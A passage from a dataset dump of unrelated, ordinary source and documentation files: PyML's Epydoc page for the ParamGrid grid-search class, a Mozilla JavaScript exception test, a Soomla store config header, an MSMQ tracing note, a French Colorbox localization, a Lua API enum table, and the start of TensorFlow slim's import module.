href=\"PyML.classifiers.modelSelection-pysrc.html#ParamGrid\">source&nbsp;code</a></span></p>\n<pre class=\"base-tree\">\nbase.pymlObject.PyMLobject --+ \n | \n <a href=\"PyML.classifiers.baseClassifiers.Classifier-class.html\">baseClassifiers.Classifier</a> --+ \n | \n<a href=\"PyML.classifiers.baseClassifiers.IteratorClassifier-class.html\">baseClassifiers.IteratorClassifier</a> --+ \n | \n <a href=\"PyML.classifiers.modelSelection.Param-class.html\">Param</a> --+\n |\n <strong class=\"uidshort\">ParamGrid</strong>\n</pre>\n\n<hr />\n<p>A class for training and testing a classifier on a grid of parameter\nvalues for two attributes of the classifier.</p>\n<p>Example:</p>\n<pre class=\"rst-literal-block\">\np = ParamGrid(svm.SVM(ker.Gaussian()), 'C', [0.1, 1, 10, 100, 1000],\n 'kernel.gamma', [0.001, 0.01, 0.1, 1, 10])\n</pre>\n\n<!-- ==================== NESTED CLASSES ==================== -->\n<a name=\"section-NestedClasses\"></a>\n<table class=\"summary\" border=\"1\" cellpadding=\"3\"\n cellspacing=\"0\" width=\"100%\" bgcolor=\"white\">\n<tr bgcolor=\"#70b0f0\" class=\"table-header\">\n <td align=\"left\" colspan=\"2\" class=\"table-header\">\n <span class=\"table-header\">Nested Classes</span></td>\n</tr>\n<tr bgcolor=\"#e8f0f8\" >\n <th colspan=\"2\" class=\"group-header\"\n >&nbsp;&nbsp;&nbsp;&nbsp;Inherited from <a href=\"PyML.classifiers.baseClassifiers.Classifier-class.html\">baseClassifiers.Classifier</a></th></tr>\n<tr>\n <td width=\"15%\" align=\"right\" valign=\"top\" class=\"summary\">\n <span class=\"summary-type\">&nbsp;</span>\n </td><td class=\"summary\">\n <a href=\"PyML.evaluators.assess.ClassificationResults-class.html\" class=\"summary-name\">resultsObject</a>\n </td>\n </tr>\n</table>\n<!-- ==================== INSTANCE METHODS ==================== -->\n<a name=\"section-InstanceMethods\"></a>\n<table class=\"summary\" border=\"1\" cellpadding=\"3\"\n cellspacing=\"0\" width=\"100%\" bgcolor=\"white\">\n<tr bgcolor=\"#70b0f0\" class=\"table-header\">\n <td align=\"left\" colspan=\"2\" class=\"table-header\">\n <span class=\"table-header\">Instance Methods</span></td>\n</tr>\n<tr>\n <td width=\"15%\" align=\"right\" valign=\"top\" class=\"summary\">\n <span class=\"summary-type\">&nbsp;</span>\n </td><td class=\"summary\">\n <table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\n <tr>\n <td><span class=\"summary-sig\"><a href=\"PyML.classifiers.modelSelection.ParamGrid-class.html#__init__\" class=\"summary-sig-name\">__init__</a>(<span class=\"summary-sig-arg\">self</span>,\n <span class=\"summary-sig-arg\">arg</span>,\n <span class=\"summary-sig-arg\">attribute1</span>=<span class=\"summary-sig-default\">'C'</span>,\n <span class=\"summary-sig-arg\">values1</span>=<span class=\"summary-sig-default\">[0.1,1,10,100,1000]</span>,\n <span class=\"summary-sig-arg\">attribute2</span>=<span class=\"summary-sig-default\">'kernel.gamma'</span>,\n <span class=\"summary-sig-arg\">values2</span>=<span class=\"summary-sig-default\">[0.001,0.01,0.1,1,10]</span>)</span></td>\n <td align=\"right\" valign=\"top\">\n <span class=\"codelink\"><a href=\"PyML.classifiers.modelSelection-pysrc.html#ParamGrid.__init__\">source&nbsp;code</a></span>\n \n </td>\n </tr>\n </table>\n \n </td>\n </tr>\n<tr>\n <td width=\"15%\" align=\"right\" valign=\"top\" class=\"summary\">\n <span class=\"summary-type\">&nbsp;</span>\n </td><td class=\"summary\">\n <table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\n <tr>\n <td><span class=\"summary-sig\"><a href=\"PyML.classifiers.modelSelection.ParamGrid-class.html#__repr__\" class=\"summary-sig-name\">__repr__</a>(<span class=\"summary-sig-arg\">self</span>)</span></td>\n <td align=\"right\" valign=\"top\">\n <span class=\"codelink\"><a href=\"PyML.classifiers.modelSelection-pysrc.html#ParamGrid.__repr__\">source&nbsp;code</a></span>\n \n </td>\n </tr>\n </table>\n \n </td>\n </tr>\n<tr bgcolor=\"#e8f0f8\" >\n <th colspan=\"2\" class=\"group-header\"\n >&nbsp;&nbsp;&nbsp;&nbsp;Inherited from <a href=\"PyML.classifiers.modelSelection.Param-class.html\">Param</a></th></tr>\n<tr>\n <td width=\"15%\" align=\"right\" valign=\"top\" class=\"summary\">\n <span class=\"summary-type\">&nbsp;</span>\n </td><td class=\"summary\">\n <table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\n <tr>\n <td><span class=\"summary-sig\"><a name=\"__len__\"></a><span class=\"summary-sig-name\">__len__</span>(<span class=\"summary-sig-arg\">self</span>)</span></td>\n <td align=\"right\" valign=\"top\">\n <span class=\"codelink\"><a href=\"PyML.classifiers.modelSelection-pysrc.html#Param.__len__\">source&nbsp;code</a></span>\n \n </td>\n </tr>\n </table>\n \n </td>\n </tr>\n<tr>\n <td width=\"15%\" align=\"right\" valign=\"top\" class=\"summary\">\n <span class=\"summary-type\">&nbsp;</span>\n </td><td class=\"summary\">\n <table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\n <tr>\n <td><span class=\"summary-sig\"><a href=\"PyML.classifiers.modelSelection.Param-class.html#train\" class=\"summary-sig-name\">train</a>(<span class=\"summary-sig-arg\">self</span>,\n <span class=\"summary-sig-arg\">data</span>,\n <span class=\"summary-sig-arg\">**args</span>)</span></td>\n <td align=\"right\" valign=\"top\">\n <span class=\"codelink\"><a href=\"PyML.classifiers.modelSelection-pysrc.html#Param.train\">source&nbsp;code</a></span>\n \n </td>\n </tr>\n </table>\n \n </td>\n </tr>\n<tr bgcolor=\"#e8f0f8\" >\n <th colspan=\"2\" class=\"group-header\"\n >&nbsp;&nbsp;&nbsp;&nbsp;Inherited from <a href=\"PyML.classifiers.baseClassifiers.IteratorClassifier-class.html\">baseClassifiers.IteratorClassifier</a></th></tr>\n<tr>\n <td width=\"15%\" align=\"right\" valign=\"top\" class=\"summary\">\n <span class=\"summary-type\">&nbsp;</span>\n </td><td class=\"summary\">\n <table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\n <tr>\n <td><span class=\"summary-sig\"><a name=\"__iter__\"></a><span class=\"summary-sig-name\">__iter__</span>(<span class=\"summary-sig-arg\">self</span>)</span></td>\n <td align=\"right\" valign=\"top\">\n <span class=\"codelink\"><a href=\"PyML.classifiers.baseClassifiers-pysrc.html#IteratorClassifier.__iter__\">source&nbsp;code</a></span>\n \n </td>\n </tr>\n </table>\n \n </td>\n </tr>\n<tr>\n <td width=\"15%\" align=\"right\" valign=\"top\" class=\"summary\">\n <span class=\"summary-type\">&nbsp;</span>\n </td><td class=\"summary\">\n <table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\n <tr>\n <td><span class=\"summary-sig\"><a href=\"PyML.classifiers.baseClassifiers.IteratorClassifier-class.html#cv\" class=\"summary-sig-name\">cv</a>(<span class=\"summary-sig-arg\">self</span>,\n <span class=\"summary-sig-arg\">data</span>,\n <span class=\"summary-sig-arg\">**args</span>)</span><br />\n perform k-fold cross validation</td>\n <td align=\"right\" valign=\"top\">\n <span class=\"codelink\"><a href=\"PyML.classifiers.baseClassifiers-pysrc.html#IteratorClassifier.cv\">source&nbsp;code</a></span>\n \n </td>\n </tr>\n </table>\n \n </td>\n </tr>\n<tr>\n <td width=\"15%\" align=\"right\" valign=\"top\" class=\"summary\">\n <span class=\"summary-type\">&nbsp;</span>\n </td><td class=\"summary\">\n <table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\n <tr>\n <td><span class=\"summary-sig\"><a name=\"getClassifier\"></a><span class=\"summary-sig-name\">getClassifier</span>(<span class=\"summary-sig-arg\">self</span>)</span></td>\n <td align=\"right\" valign=\"top\">\n <span class=\"codelink\"><a href=\"PyML.classifiers.baseClassifiers-pysrc.html#IteratorClassifier.getClassifier\">source&nbsp;code</a></span>\n \n </td>\n </tr>\n </table>\n \n </td>\n </tr>\n<tr>\n <td width=\"15%\" align=\"right\" valign=\"top\" class=\"summary\">\n <span class=\"summary-type\">&nbsp;</span>\n </td><td class=\"summary\">\n <table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\n <tr>\n <td><span class=\"summary-sig\"><a href=\"PyML.classifiers.baseClassifiers.IteratorClassifier-class.html#loo\" class=\"summary-sig-name\">loo</a>(<span class=\"summary-sig-arg\">self</span>,\n <span class=\"summary-sig-arg\">data</span>,\n <span class=\"summary-sig-arg\">**args</span>)</span><br />\n perform Leave One Out</td>\n <td align=\"right\" valign=\"top\">\n <span class=\"codelink\"><a href=\"PyML.classifiers.baseClassifiers-pysrc.html#IteratorClassifier.loo\">source&nbsp;code</a></span>\n \n </td>\n </tr>\n </table>\n \n </td>\n </tr>\n<tr>\n <td width=\"15%\" align=\"right\" valign=\"top\" class=\"summary\">\n <span class=\"summary-type\">&nbsp;</span>\n </td><td class=\"summary\">\n <table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\n <tr>\n <td><span class=\"summary-sig\"><a name=\"next\"></a><span class=\"summary-sig-name\">next</span>(<span class=\"summary-sig-arg\">self</span>)</span></td>\n <td align=\"right\" valign=\"top\">\n <span class=\"codelink\"><a href=\"PyML.classifiers.baseClassifiers-pysrc.html#IteratorClassifier.next\">source&nbsp;code</a></span>\n \n </td>\n </tr>\n </table>\n \n </td>\n </tr>\n<tr>\n <td width=\"15%\" align=\"right\" valign=\"top\" class=\"summary\">\n <span class=\"summary-type\">&nbsp;</span>\n </td><td class=\"summary\">\n <table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\n <tr>\n <td><span class=\"summary-sig\"><a href=\"PyML.classifiers.baseClassifiers.IteratorClassifier-class.html#stratifiedCV\" class=\"summary-sig-name\">stratifiedCV</a>(<span class=\"summary-sig-arg\">self</span>,\n <span class=\"summary-sig-arg\">data</span>,\n <span class=\"summary-sig-arg\">**args</span>)</span><br />\n perform k-fold stratified cross-validation; in each fold the number of\npatterns from each class is proportional to the relative fraction of the\nclass in the dataset</td>\n <td align=\"right\" valign=\"top\">\n <span class=\"codelink\"><a href=\"PyML.classifiers.baseClassifiers-pysrc.html#IteratorClassifier.stratifiedCV\">source&nbsp;code</a></span>\n \n </td>\n </tr>\n </table>\n \n </td>\n </tr>\n<tr>\n <td width=\"15%\" align=\"right\" valign=\"top\" class=\"summary\">\n <span class=\"summary-type\">&nbsp;</span>\n </td><td class=\"summary\">\n <table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\n <tr>\n <td><span class=\"summary-sig\"><a href=\"PyML.classifiers.baseClassifiers.IteratorClassifier-class.html#test\" class=\"summary-sig-name\">test</a>(<span class=\"summary-sig-arg\">self</span>,\n <span class=\"summary-sig-arg\">data</span>,\n <span class=\"summary-sig-arg\">**args</span>)</span><br />\n test a classifier on a given dataset</td>\n <td align=\"right\" valign=\"top\">\n <span class=\"codelink\"><a href=\"PyML.classifiers.baseClassifiers-pysrc.html#IteratorClassifier.test\">source&nbsp;code</a></span>\n \n </td>\n </tr>\n </table>\n \n </td>\n </tr>\n<tr bgcolor=\"#e8f0f8\" >\n <th colspan=\"2\" class=\"group-header\"\n >&nbsp;&nbsp;&nbsp;&nbsp;Inherited from <a href=\"PyML.classifiers.baseClassifiers.Classifier-class.html\">baseClassifiers.Classifier</a></th></tr>\n<tr>\n <td width=\"15%\" align=\"right\" valign=\"top\" class=\"summary\">\n <span class=\"summary-type\">&nbsp;</span>\n </td><td class=\"summary\">\n <table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\n <tr>\n <td><span class=\"summary-sig\"><a name=\"classify\"></a><span class=\"summary-sig-name\">classify</span>(<span class=\"summary-sig-arg\">self</span>,\n <span class=\"summary-sig-arg\">data</span>,\n <span class=\"summary-sig-arg\">i</span>)</span></td>\n <td align=\"right\" valign=\"top\">\n <span class=\"codelink\"><a href=\"PyML.classifiers.baseClassifiers-pysrc.html#Classifier.classify\">source&nbsp;code</a></span>\n \n </td>\n </tr>\n </table>\n \n </td>\n </tr>\n<tr>\n <td width=\"15%\" align=\"right\" valign=\"top\" class=\"summary\">\n <span class=\"summary-type\">&nbsp;</span>\n </td><td class=\"summary\">\n <table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\n <tr>\n <td><span class=\"summary-sig\"><a name=\"getTrainingTime\"></a><span class=\"summary-sig-name\">getTrainingTime</span>(<span class=\"summary-sig-arg\">self</span>)</span></td>\n <td align=\"right\" valign=\"top\">\n <span class=\"codelink\"><a href=\"PyML.classifiers.baseClassifiers-pysrc.html#Classifier.getTrainingTime\">source&nbsp;code</a></span>\n \n </td>\n </tr>\n </table>\n \n </td>\n </tr>\n<tr>\n <td width=\"15%\" align=\"right\" valign=\"top\" class=\"summary\">\n <span class=\"summary-type\">&nbsp;</span>\n </td><td class=\"summary\">\n <table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\n <tr>\n <td><span class=\"summary-sig\"><a name=\"logger\"></a><span class=\"summary-sig-name\">logger</span>(<span class=\"summary-sig-arg\">self</span>)</span></td>\n <td align=\"right\" valign=\"top\">\n <span class=\"codelink\"><a href=\"PyML.classifiers.baseClassifiers-pysrc.html#Classifier.logger\">source&nbsp;code</a></span>\n \n </td>\n </tr>\n </table>\n \n </td>\n </tr>\n<tr>\n <td width=\"15%\" align=\"right\" valign=\"top\" class=\"summary\">\n <span class=\"summary-type\">&nbsp;</span>\n </td><td class=\"summary\">\n <table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\n <tr>\n <td><span class=\"summary-sig\"><a href=\"PyML.classifiers.baseClassifiers.Classifier-class.html#nCV\" class=\"summary-sig-name\">nCV</a>(<span class=\"summary-sig-arg\">classifier</span>,\n <span class=\"summary-sig-arg\">data</span>,\n <span class=\"summary-sig-arg\">**args</span>)</span><br />\n runs CV n times, returning a 'ResultsList' object.</td>\n <td align=\"right\" valign=\"top\">\n <span class=\"codelink\"><a href=\"PyML.evaluators.assess-pysrc.html#nCV\">source&nbsp;code</a></span>\n \n </td>\n </tr>\n </table>\n \n </td>\n </tr>\n<tr>\n <td width=\"15%\" align=\"right\" valign=\"top\" class=\"summary\">\n <span class=\"summary-type\">&nbsp;</span>\n </td><td class=\"summary\">\n <table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\n <tr>\n <td><span class=\"summary-sig\"><a name=\"project\"></a><span class=\"summary-sig-name\">project</span>(<span class=\"summary-sig-arg\">self</span>,\n <span class=\"summary-sig-arg\">data</span>)</span><br />\n project a test dataset to the training data features.</td>\n <td align=\"right\" valign=\"top\">\n <span class=\"codelink\"><a href=\"PyML.classifiers.baseClassifiers-pysrc.html#Classifier.project\">source&nbsp;code</a></span>\n \n </td>\n </tr>\n </table>\n \n </td>\n </tr>\n<tr>\n <td width=\"15%\" align=\"right\" valign=\"top\" class=\"summary\">\n <span class=\"summary-type\">&nbsp;</span>\n </td><td class=\"summary\">\n <table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\n <tr>\n <td><span class=\"summary-sig\"><a name=\"save\"></a><span class=\"summary-sig-name\">save</span>(<span class=\"summary-sig-arg\">self</span>,\n <span class=\"summary-sig-arg\">fileHandle</span>)</span></td>\n <td align=\"right\" valign=\"top\">\n <span class=\"codelink\"><a href=\"PyML.classifiers.baseClassifiers-pysrc.html#Classifier.save\">source&nbsp;code</a></span>\n \n </td>\n </tr>\n </table>\n \n </td>\n </tr>\n<tr>\n <td width=\"15%\" align=\"right\" valign=\"top\" class=\"summary\">\n <span class=\"summary-type\">&nbsp;</span>\n </td><td class=\"summary\">\n <table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\n <tr>\n <td><span class=\"summary-sig\"><a name=\"trainFinalize\"></a><span class=\"summary-sig-name\">trainFinalize</span>(<span class=\"summary-sig-arg\">self</span>)</span></td>\n <td align=\"right\" valign=\"top\">\n <span class=\"codelink\"><a href=\"PyML.classifiers.baseClassifiers-pysrc.html#Classifier.trainFinalize\">source&nbsp;code</a></span>\n \n </td>\n </tr>\n </table>\n \n </td>\n </tr>\n<tr>\n <td width=\"15%\" align=\"right\" valign=\"top\" class=\"summary\">\n <span class=\"summary-type\">&nbsp;</span>\n </td><td class=\"summary\">\n <table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\n <tr>\n <td><span class=\"summary-sig\"><a name=\"trainTest\"></a><span class=\"summary-sig-name\">trainTest</span>(<span class=\"summary-sig-arg\">classifierTemplate</span>,\n <span class=\"summary-sig-arg\">data</span>,\n <span class=\"summary-sig-arg\">trainingPatterns</span>,\n <span class=\"summary-sig-arg\">testingPatterns</span>,\n <span class=\"summary-sig-arg\">**args</span>)</span><br />\n Train a classifier on the list of training patterns, and test it\non the test patterns</td>\n <td align=\"right\" valign=\"top\">\n <span class=\"codelink\"><a href=\"PyML.evaluators.assess-pysrc.html#trainTest\">source&nbsp;code</a></span>\n \n </td>\n </tr>\n </table>\n \n </td>\n </tr>\n<tr>\n <td width=\"15%\" align=\"right\" valign=\"top\" class=\"summary\">\n <span class=\"summary-type\">&nbsp;</span>\n </td><td class=\"summary\">\n <table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\n <tr>\n <td><span class=\"summary-sig\"><a name=\"twoClassClassify\"></a><span class=\"summary-sig-name\">twoClassClassify</span>(<span class=\"summary-sig-arg\">self</span>,\n <span class=\"summary-sig-arg\">data</span>,\n <span class=\"summary-sig-arg\">i</span>)</span></td>\n <td align=\"right\" valign=\"top\">\n <span class=\"codelink\"><a href=\"PyML.classifiers.baseClassifiers-pysrc.html#Classifier.twoClassClassify\">source&nbsp;code</a></span>\n \n </td>\n </tr>\n </table>\n \n </td>\n </tr>\n</table>\n<!-- ==================== CLASS VARIABLES ==================== -->\n<a name=\"section-ClassVariables\"></a>\n<table class=\"summary\" border=\"1\" cellpadding=\"3\"\n cellspacing=\"0\" width=\"100%\" bgcolor=\"white\">\n<tr bgcolor=\"#70b0f0\" class=\"table-header\">\n <td align=\"left\" colspan=\"2\" class=\"table-header\">\n <span class=\"table-header\">Class Variables</span></td>\n</tr>\n<tr bgcolor=\"#e8f0f8\" >\n <th colspan=\"2\" class=\"group-header\"\n >&nbsp;&nbsp;&nbsp;&nbsp;Inherited from <a href=\"PyML.classifiers.baseClassifiers.Classifier-class.html\">baseClassifiers.Classifier</a></th></tr>\n<tr>\n <td width=\"15%\" align=\"right\" valign=\"top\" class=\"summary\">\n <span class=\"summary-type\">&nbsp;</span>\n </td><td class=\"summary\">\n <a name=\"deepcopy\"></a><span class=\"summary-name\">deepcopy</span> = <code title=\"False\">False</code>\n </td>\n </tr>\n<tr>\n <td width=\"15%\" align=\"right\" valign=\"top\" class=\"summary\">\n <span class=\"summary-type\">&nbsp;</span>\n </td><td class=\"summary\">\n <a name=\"type\"></a><span class=\"summary-name\">type</span> = <code title=\"'classifier'\">'classifier'</code>\n </td>\n </tr>\n</table>\n<!-- ==================== METHOD DETAILS ==================== -->\n<a name=\"section-MethodDetails\"></a>\n<table class=\"details\" border=\"1\" cellpadding=\"3\"\n cellspacing=\"0\" width=\"100%\" bgcolor=\"white\">\n<tr bgcolor=\"#70b0f0\" class=\"table-header\">\n <td align=\"left\" colspan=\"2\" class=\"table-header\">\n <span class=\"table-header\">Method Details</span></td>\n</tr>\n</table>\n<a name=\"__init__\"></a>\n<div>\n<table class=\"details\" border=\"1\" cellpadding=\"3\"\n cellspacing=\"0\" width=\"100%\" bgcolor=\"white\">\n<tr><td>\n <table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\n <tr valign=\"top\"><td>\n <h3 class=\"epydoc\"><span class=\"sig\"><span class=\"sig-name\">__init__</span>(<span class=\"sig-arg\">self</span>,\n <span class=\"sig-arg\">arg</span>,\n <span class=\"sig-arg\">attribute1</span>=<span class=\"sig-default\">'C'</span>,\n <span class=\"sig-arg\">values1</span>=<span class=\"sig-default\">[0.1,1,10,100,1000]</span>,\n <span class=\"sig-arg\">attribute2</span>=<span class=\"sig-default\">'kernel.gamma'</span>,\n <span class=\"sig-arg\">values2</span>=<span class=\"sig-default\">[0.001,0.01,0.1,1,10]</span>)</span>\n <br /><em class=\"fname\">(Constructor)</em>\n </h3>\n </td><td align=\"right\" valign=\"top\"\n ><span class=\"codelink\"><a href=\"PyML.classifiers.modelSelection-pysrc.html#ParamGrid.__init__\">source&nbsp;code</a></span>&nbsp;\n </td>\n </tr></table>\n \n \n <dl class=\"fields\">\n <dt>Parameters:</dt>\n <dd><ul class=\"nomargin-top\">\n <li><strong class=\"pname\"><code>arg</code></strong> - another Param object, or the classifier to be used</li>\n <li><strong class=\"pname\"><code>attribute1</code></strong> - the first attribute of the classifier that needs tuning</li>\n <li><strong class=\"pname\"><code>values1</code></strong> - a list of values to try for attribute1</li>\n <li><strong class=\"pname\"><code>attribute2</code></strong> - the second attribute</li>\n <li><strong class=\"pname\"><code>values2</code></strong> - a list of values to try for attribute2</li>\n </ul></dd>\n <dt>Overrides:\n <a href=\"PyML.classifiers.baseClassifiers.Classifier-class.html#__init__\">baseClassifiers.Classifier.__init__</a>\n </dt>\n </dl>\n</td></tr></table>\n</div>\n<a name=\"__repr__\"></a>\n<div>\n<table class=\"details\" border=\"1\" cellpadding=\"3\"\n cellspacing=\"0\" width=\"100%\" bgcolor=\"white\">\n<tr><td>\n <table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\n <tr valign=\"top\"><td>\n <h3 class=\"epydoc\"><span class=\"sig\"><span class=\"sig-name\">__repr__</span>(<span class=\"sig-arg\">self</span>)</span>\n <br /><em class=\"fname\">(Representation operator)</em>\n </h3>\n </td><td align=\"right\" valign=\"top\"\n ><span class=\"codelink\"><a href=\"PyML.classifiers.modelSelection-pysrc.html#ParamGrid.__repr__\">source&nbsp;code</a></span>&nbsp;\n </td>\n </tr></table>\n \n \n <dl class=\"fields\">\n <dt>Overrides:\n <a href=\"PyML.classifiers.baseClassifiers.Classifier-class.html#__repr__\">baseClassifiers.Classifier.__repr__</a>\n </dt>\n </dl>\n</td></tr></table>\n</div>\n<br />\n<!-- ==================== NAVIGATION BAR ==================== -->\n<table class=\"navbar\" border=\"0\" width=\"100%\" cellpadding=\"0\"\n bgcolor=\"#a0c0ff\" cellspacing=\"0\">\n <tr valign=\"middle\">\n\n <!-- Tree link -->\n <th>&nbsp;&nbsp;&nbsp;<a\n href=\"module-tree.html\">Trees</a>&nbsp;&nbsp;&nbsp;</th>\n\n <!-- Index link -->\n <th>&nbsp;&nbsp;&nbsp;<a\n href=\"identifier-index.html\">Indices</a>&nbsp;&nbsp;&nbsp;</th>\n\n <!-- Help link -->\n <th>&nbsp;&nbsp;&nbsp;<a\n href=\"help.html\">Help</a>&nbsp;&nbsp;&nbsp;</th>\n\n <!-- Project homepage -->\n <th class=\"navbar\" align=\"right\" width=\"100%\">\n <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\">\n <tr><th class=\"navbar\" align=\"center\"\n ><a class=\"navbar\" target=\"_top\" href=\"http://pyml.sourceforge.net\">PyML</a></th>\n </tr></table></th>\n </tr>\n</table>\n<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%%\">\n <tr>\n <td align=\"left\" class=\"footer\">\n Generated by Epydoc 3.0.1 on Fri May 2 12:39:27 2008\n </td>\n <td align=\"right\" class=\"footer\">\n <a target=\"mainFrame\" href=\"http://epydoc.sourceforge.net\"\n >http://epydoc.sourceforge.net</a>\n </td>\n </tr>\n</table>\n\n<script type=\"text/javascript\">\n <!--\n // Private objects are initially displayed (because if\n // javascript is turned off then we want them to be\n // visible); but by default, we want to hide them. So hide\n // them unless we have a cookie that says to show them.\n checkCookie();\n // -->\n</script>\n</body>\n</html>\n"} {"text": "/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */\n/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http://mozilla.org/MPL/2.0/. */\n\n\n/**\n * File Name: exception-007\n * ECMA Section:\n * Description: Tests for JavaScript Standard Exceptions\n *\n * DefaultValue error.\n *\n * Author: christine@netscape.com\n * Date: 31 August 1998\n */\nvar SECTION = \"exception-007\";\nvar VERSION = \"js1_4\";\nvar TITLE = \"Tests for JavaScript Standard Exceptions: TypeError\";\nvar BUGNUMBER=\"318250\";\n\nstartTest();\nwriteHeaderToLog( SECTION + \" \"+ TITLE);\n\nDefaultValue_1();\n\ntest();\n\n\n/**\n * Getting the [[DefaultValue]] of any instances of MyObject\n * should result in a runtime error in ToPrimitive.\n */\n\nfunction MyObject() {\n this.toString = void 0;\n this.valueOf = new Object();\n}\n\nfunction DefaultValue_1() {\n result = \"failed: no exception thrown\";\n exception = null;\n\n try {\n result = new MyObject() + new MyObject();\n } catch ( e ) {\n result = \"passed: threw exception\",\n exception = e.toString();\n } finally {\n new TestCase(\n SECTION,\n \"new MyObject() + new MyObject() [ exception is \" + exception +\" ]\",\n \"passed: threw exception\",\n result );\n }\n}\n\n"} {"text": "/*\n Copyright (C) 2012-2015 Soomla Inc.\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n */\n\n#ifndef COCOS2DXSTORE_CCSOOMLASTOREIOSCONFIGBUILDER_H\n#define COCOS2DXSTORE_CCSOOMLASTOREIOSCONFIGBUILDER_H\n\n#include \"CCSoomlaConfigBuilder.h\"\n\nnamespace soomla {\n class CCSoomlaStoreIosConfigBuilder : public CCSoomlaConfigBuilder {\n public:\n CCSoomlaStoreIosConfigBuilder();\n static CCSoomlaStoreIosConfigBuilder *create();\n CCSoomlaStoreIosConfigBuilder *activateFraudProtection(bool verifyOnServerFailure);\n };\n}\n\n\n#endif //COCOS2DXSTORE_CCSOOMLASTOREIOSCONFIGBUILDER_H\n"} {"text": "---\ntitle: \"MSMQ\"\nms.date: \"03/30/2017\"\nms.assetid: d9fca29f-fa44-4ec4-bb48-b10800694500\n---\n# MSMQ\nIn an MSMQ application, no additional activity is transferred from the queued channel to MSMQ and from MSMQ to the queued channel. \n \n In addition, MSMQ Message ID and SOAP message ID (along with Activity ID, if one exists) are traced as part of queued channel traces on a Send operation. \n \n MSMQ Message ID and SOAP message ID (along with activity ID, if one exists) are traced as part of queued channel traces on a Receive operation. \n \n The required transfers on the Receive operation are executed similarly to any other transport (receive bytes->Process message-> operation).\n"} {"text": "/*\n jQuery Colorbox language configuration\n language: French (fr)\n translated by: oaubert\n*/\njQuery.extend(jQuery.colorbox.settings, {\n\tcurrent: \"image {current} sur {total}\",\n\tprevious: \"pr&eacute;c&eacute;dente\",\n\tnext: \"suivante\",\n\tclose: \"fermer\",\n\txhrError: \"Impossible de charger ce contenu.\",\n\timgError: \"Impossible de charger cette image.\",\n\tslideshowStart: \"d&eacute;marrer la pr&eacute;sentation\",\n\tslideshowStop: \"arr&ecirc;ter la pr&eacute;sentation\"\n});\n"} {"text": "local RecruitAFriendShared =\n{\n\tTables =\n\t{\n\t\t{\n\t\t\tName = \"RafLinkType\",\n\t\t\tType = \"Enumeration\",\n\t\t\tNumValues = 4,\n\t\t\tMinValue = 0,\n\t\t\tMaxValue = 3,\n\t\t\tFields =\n\t\t\t{\n\t\t\t\t{ Name = \"None\", Type = \"RafLinkType\", EnumValue = 0 },\n\t\t\t\t{ Name = \"Recruit\", Type = \"RafLinkType\", EnumValue = 1 },\n\t\t\t\t{ Name = \"Friend\", Type = \"RafLinkType\", EnumValue = 2 },\n\t\t\t\t{ Name = \"Both\", Type = \"RafLinkType\", EnumValue = 3 },\n\t\t\t},\n\t\t},\n\t},\n};\n\nAPIDocumentation:AddDocumentationTable(RecruitAFriendShared);"} {"text": "# Copyright 2016 The TensorFlow Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\"\"\"Slim is an interface to contrib functions, examples and models.\n\nTODO(nsilberman): flesh out documentation.\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\n# pylint: disable=unused-import,line-too-long,g-importing-member,wildcard-import\n# TODO(jart): Delete non-slim imports\nfrom tensorflow.contrib import losses\nfrom tensorflow.contrib import metrics\nfrom tensorflow.contrib.framework.python.ops.arg_scope import *\nfrom tensorflow.contrib.framework.python.ops.variables import *\nfrom tensorflow.contrib.layers.python.layers import *\nfrom tensorflow.contrib.layers.python.layers.initializers import *\nfrom tensorflow.contrib.layers.python.layers.regularizers import *\nfrom tensorflow.contrib.slim.python.slim import evaluation\nfrom tensorflow.contrib.slim.python.slim import learning\nfrom tensorflow.contrib.slim.python.slim import model_analyzer\nfrom tensorflow.contrib.slim.python.slim import queues\nfrom tensorflow.contrib.slim.python.slim import summaries\nfrom tensorflow.contrib.slim.python.slim.data import data_decoder\nfrom 